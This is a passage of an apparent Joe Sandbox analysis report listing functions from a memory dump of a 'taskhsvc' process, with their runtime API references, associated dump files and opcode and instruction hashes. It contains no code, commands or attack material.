                                        • Opcode Fuzzy Hash: 2b9c68b19589650173fb422b0c0406e6e94808d0e50af3e34657a9f534b3c848
                                        • Instruction Fuzzy Hash: 6F21D3B49043199FCB00EFA9E5465AEBBF1FF88354F01C818E898AB241D778D440CF62
                                        Function 00BC60BC Relevance: 6.0, APIs: 4, Instructions: 48stringCOMMON
                                        Download Yara Rule
                                        APIs
                                        • strerror.MSVCRT ref: 00BC60C8
                                          • Part of subcall function 00D13842: __stack_chk_fail.LIBSSP-0 ref: 00D138B7
                                          • Part of subcall function 00CCA57C: _write.MSVCRT ref: 00CCA5E6
                                          • Part of subcall function 00CCA57C: strlen.MSVCRT ref: 00CCA62B
                                          • Part of subcall function 00CCA57C: __stack_chk_fail.LIBSSP-0 ref: 00CCA68C
                                        • strerror.MSVCRT ref: 00BC6117
                                        • free.MSVCRT ref: 00BC615F
                                        • __stack_chk_fail.LIBSSP-0 ref: 00BC63EC
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$strerror$_writefreestrlen
                                        • String ID:
                                        • API String ID: 1662648450-0
                                        • Opcode ID: 13068c4f6a4078cdf891af755ef7b23c258890b919b4ce421135edbdd1872cba
                                        • Instruction ID: 04dca819f5da9c3e2b49e4ba1af5d69274c9f5852ea0ba565a148947f60af231
                                        • Opcode Fuzzy Hash: 13068c4f6a4078cdf891af755ef7b23c258890b919b4ce421135edbdd1872cba
                                        • Instruction Fuzzy Hash: B411F6705087059FDB00EFA8C485BADBBF1EF89314F11995CE195AB291C7789A84CF26
                                        Function 00C467A6 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 395COMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 00C1F792: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00C06074), ref: 00C1F7B2
                                        • time.MSVCRT ref: 00C467E3
                                          • Part of subcall function 00CB3EC7: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00CB66C7), ref: 00CB3EFF
                                        • __stack_chk_fail.LIBSSP-0 ref: 00C46D1D
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$time
                                        • String ID:
                                        • API String ID: 2236482411-3916222277
                                        • Opcode ID: 13a5a8a0415bb672e50613839425ae8045243e845267dc101c232965d2ea699d
                                        • Instruction ID: 43c6d451515ae4618898853ae3b0362051940e49667696a1d9f5bc15c82d100d
                                        • Opcode Fuzzy Hash: 13a5a8a0415bb672e50613839425ae8045243e845267dc101c232965d2ea699d
                                        • Instruction Fuzzy Hash: C602BDB4A047188FDB20DFA9C5957ADBBF0FF09304F148429E898EB255D7389984EF52
                                        Function 00C46E90 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 320COMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 00C1F792: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00C06074), ref: 00C1F7B2
                                        • time.MSVCRT ref: 00C46EE5
                                        • __stack_chk_fail.LIBSSP-0 ref: 00C47302
                                          • Part of subcall function 00D19B0B: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00D145AC), ref: 00D19B69
                                          • Part of subcall function 00C466F6: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00C468AD), ref: 00C46747
                                          • Part of subcall function 00C4674E: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00C468C2), ref: 00C4679F
                                          • Part of subcall function 00C62895: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00C4EB3B), ref: 00C628C9
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$time
                                        • String ID:
                                        • API String ID: 2236482411-3916222277
                                        • Opcode ID: 9b56a356994ac4a54c296f9169694c84fffa11ac74720830db86888ab92f35ff
                                        • Instruction ID: e34c4e9efdec24e63d03d61df3aa9c13920be47e586b00104caece2fc7e755cc
                                        • Opcode Fuzzy Hash: 9b56a356994ac4a54c296f9169694c84fffa11ac74720830db86888ab92f35ff
                                        • Instruction Fuzzy Hash: C9E17DB4E08308CFEB20DFA9C585BADBBF0BF09314F148569E858AB251E7749985DF11
                                        Function 00BD3C77 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 240COMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 00C7DB55: __stack_chk_fail.LIBSSP-0 ref: 00C7DBB5
                                        • __stack_chk_fail.LIBSSP-0 ref: 00BD4111
                                          • Part of subcall function 00D13842: __stack_chk_fail.LIBSSP-0 ref: 00D138B7
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail
                                        • String ID:
                                        • API String ID: 4216919130-3916222277
                                        • Opcode ID: bd1a9429d76bb03078d092483ac01cd1d18167d4c6c93f354f955ab692332e0e
                                        • Instruction ID: f126fa456e3f5182b5e23e186a3eb7607c0af5f34cdfe5f2a3c35bb0feb103e1
                                        • Opcode Fuzzy Hash: bd1a9429d76bb03078d092483ac01cd1d18167d4c6c93f354f955ab692332e0e
                                        • Instruction Fuzzy Hash: 52C192B09083159FD750EF25C58579EBBF0EF84704F00C8AEE688AB241E7789AC59F56
